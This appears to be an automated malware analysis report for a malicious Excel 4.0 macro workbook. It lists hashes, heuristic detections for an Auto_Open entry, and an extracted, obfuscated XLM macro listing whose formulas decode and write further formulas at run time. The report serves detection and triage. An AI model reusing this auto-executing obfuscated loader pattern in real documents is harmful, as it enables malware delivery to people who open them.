Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 21ec956d4d635934…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:37:16 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: af637fb919b5043ed8692c6b4252698b SHA-1: 4900c41ed39d3e4b9f1958ce4fc437b6927fa217 SHA-256: 21ec956d4d63593454854d774561d39310cc9afc8c20840d3540b6e10e8dcb9c
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6527 bytes
SHA-256: 0d74d2884be2c31cae1d6d45ad8b9d5ee2508ddd39057f2281f9dba99826787e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  xmEAM
' 0018     24 LABEL : Cell Value, String Constant - aKyWBGgoP len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A176 
' 0018     20 LABEL : Cell Value, String Constant - BQNBK len=0 
' 0018     27 LABEL : Cell Value, String Constant - crEnoPTcOnqk len=0 
' 0018     20 LABEL : Cell Value, String Constant - gucBS len=0 
' 0018     21 LABEL : Cell Value, String Constant - heElgC len=0 
' 0018     24 LABEL : Cell Value, String Constant - jjqMlLGgv len=0 
' 0018     25 LABEL : Cell Value, String Constant - knntjbtbOO len=0 
' 0018     26 LABEL : Cell Value, String Constant - nsfPPqdSMtd len=0 
' 0018     27 LABEL : Cell Value, String Constant - OFQFzRInUWOn len=0 
' 0018     26 LABEL : Cell Value, String Constant - oYMkNBttcXA len=0 
' 0018     24 LABEL : Cell Value, String Constant - QCXzzAthk len=0 
' 0018     27 LABEL : Cell Value, String Constant - qnGhAFjQhDwW len=0 
' 0018     24 LABEL : Cell Value, String Constant - SfHuIzhzq len=0 
' 0018     24 LABEL : Cell Value, String Constant - uofktReVn len=0 
' 0018     21 LABEL : Cell Value, String Constant - UyfHcL len=0 
' 0018     25 LABEL : Cell Value, String Constant - WspBAxYior len=0 
' 0018     20 LABEL : Cell Value, String Constant - xNSjC len=0 
' 0018     27 LABEL : Cell Value, String Constant - ziDQoPjXpuPy len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZMwSFQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - zyNSeTLA len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  xmEAM,A88,"SET.NAME("knntjbtbOO",VALUE("0"))",""
'  xmEAM,A93,"SET.NAME("aKyWBGgoP",knntjbtbOO)",""
'  xmEAM,A97,"SET.NAME("nsfPPqdSMtd",knntjbtbOO)",""
'  xmEAM,A101,"SET.NAME("UyfHcL",COUNTA(WspBAxYior))",""
'  xmEAM,A103,"SET.NAME("gucBS",COUNTA(oYMkNBttcXA))",""
'  xmEAM,A105,[],""
'  xmEAM,A107,"SET.NAME("zyNSeTLA","")",""
'  xmEAM,A110,"aKyWBGgoP",""
'  xmEAM,A113,"SET.NAME("qnGhAFjQhDwW",HLOOKUP("*",WspBAxYior,aKyWBGgoP,FALSE))",""
'  xmEAM,A118,"ziDQoPjXpuPy",""
'  xmEAM,A123,"SET.NAME("QCXzzAthk",knntjbtbOO)",""
'  xmEAM,A126,[],""
'  xmEAM,A131,"QCXzzAthk",""
'  xmEAM,A134,"heElgC",""
'  xmEAM,A138,"xNSjC",""
'  xmEAM,A140,"uofktReVn",""
'  xmEAM,A143,"SET.NAME("crEnoPTcOnqk",VALUE(HLOOKUP("*",oYMkNBttcXA,uofktReVn,FALSE)))",""
'  xmEAM,A147,"jjqMlLGgv",""
'  xmEAM,A150,"zyNSeTLA",""
'  xmEAM,A153,"nsfPPqdSMtd",""
'  xmEAM,A155,NEXT(),""
'  xmEAM,A157,"BQNBK",""
'  xmEAM,A160,"SET.NAME("f",INT(T(FORMULA(T(zyNSeTLA)&"",""&T(BQNBK)))))",""
'  xmEAM,A165,"SfHuIzhzq",""
'  xmEAM,A169,NEXT(),""
'  xmEAM,A171,RETURN(),""
'  xmEAM,A204,"SET.NAME("ZMwSFQ",A88)",""
'  xmEAM,A209,"WspBAxYior",""
'  xmEAM,A212,"SET.NAME("oYMkNBttcXA",R64C15)",""
'  xmEAM,A216,"SET.NAME("SfHuIzhzq",226)",""
'  xmEAM,A221,"SET.NAME("OFQFzRInUWOn",1)",""
'  xmEAM,A225,ZMwSFQ(),""
'  xmEAM,A226,HALT(),""